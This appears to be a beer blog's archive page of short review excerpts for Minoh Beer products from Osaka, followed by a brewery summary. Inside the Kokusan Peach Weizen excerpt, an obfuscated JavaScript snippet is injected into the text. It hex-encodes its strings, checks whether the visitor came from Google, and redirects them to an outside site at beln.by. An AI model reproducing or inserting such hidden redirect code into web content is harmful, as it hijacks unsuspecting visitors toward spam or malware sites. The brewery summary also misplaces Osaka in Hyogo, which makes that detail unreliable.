Minoh Godfather 5 by Minoh Beer

Minoh Godfather 5

Minoh Godfather 5 is a 5% amber lager from Minoh Beer, based in Osaka, Japan. It’s part of their annual effort in the Masaji Beer Project, run in colloboration with other breweries in Japan. Minoh Godfather 5, if the name isn’t a giveaway, is the fifth effort in the series and is sold in both bottles and on tap across …

Minoh Bosuzaru IPA by Minoh Beer

Minoh Bosuzaru IPA

Minoh Bosuzaru IPA is a 6% black IPA, sometimes called a Cascadian IPA, from Minoh Beer, based in Osaka, Japan. It’s part of their seasonal lineup of the three monkey beers with Minoh Kozaru IPA and Minoh Osaru IPA, and can be found in both bottles and on tap. The Bosuzaru refers to the term of the alpha male, or the …

Minoh Barrel Aged W-IPA by Minoh Beer

Minoh Barrel Aged W-IPA

Minoh Barrel Aged W-IPA is a 9.5% double IPA from Minoh Beer, based in Osaka, Kansai. It’s part of their annual limited edition range of beers, and this one is usually released late September / October time. Okay, so some of you might have realised by now that Rob is the BeerTengoku powerhouse in these parts. I’m constantly amazed at …

Minoh Godfather by Minoh Beer

Minoh Godfather

Minoh Godfather, or to give it its full name Minoh Godfather 4, is a 5.5% Belgian stout from Minoh Beer that is part of their annual release towards the Masaji Beer Project. This project was designed to commemorate the life of Ōshita-san, the once head of the company. The beer has been infused with yuzu, or Japanese citron, which is …

Minoh Yuzu Wheat by Minoh Beer

Minoh Yuzu Wheat

Minoh Yuzu White is a 5% witbier from Minoh Beer that is also a winter seasonal beer. It was first brewed in 2009 and has been part of their seasonal range ever since. Minoh is famous for yuzu, and from November onwards, yuzu can be seen everywhere. Minoh Beer haven’t stated how much yuzu is used in the making of Minoh …

Minoh Kozaru IPA by Minoh Beer

Minoh Kozaru IPA

The monkey from Minoh returns with Minoh Kozaru IPA, a golden ale / IPA hybrid that is Minoh’s entry into the session range of IPAs that are all the rage. The session IPA is dominated by the American style of IPA, so expect a high level of hops while keeping the ABV at a range between 4% to 5.5% which Minoh …

Minoh Kokusan Peach Weizen by Minoh Beer

Minoh Kokusan Peach Weizen

Minoh Kokusan Peach Weizen has a been a long time coming for BeerTengoku after my first, and only, experience with it at H@bit last year var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5.0% summer seasonal beer that is made from domestic peaches from Wakayama, in particular the arakawa peach (荒川の桃), a kind of white peach which is usually expensive to buy, crossed with the Minoh Weizen. …

Minoh Osaru IPA by Minoh Beer

Minoh Osaru IPA

Minoh Osaru IPA, aka the monkey beer according to a young family member, is a beer that started out as a seasonal beer from Minoh Beer, though it has ended up as being a quasi-regular beer now. Perhaps. Minoh Osaru IPA was first released to celebrate the Snow Monkey Beer Live 2013 event and is brewed using three different American hops. …

Minoh Imperial Stout by Minoh Beer

Minoh Imperial Stout

Finally. FINALLY!! I get to drink and review a Minoh beer before Joe does. Every time I try one, Joe’s already had it. But not the Minoh Imperial Stout. No way, Jòse. It’s mine. Minoh Imperial Stout used to have the appellation “Valentine” tacked onto it; however, they dropped that part and instead just release the beer around Valentine’s Day. It’s …

Minoh Beer Information

Minoh Beer

Minoh Beer, formerly known as AJI Minoh Inc, is a craft beer brewery located in Osaka, Hyogo, Japan. Opened in 1997, Minoh Beer started out when the late Oshita-san bought a brewery for two of daughters, Kaori and Mayuko, and later their younger sister joined in. Minoh Beer first made news when the W-IPA was advertised in a Japanese newspaper; …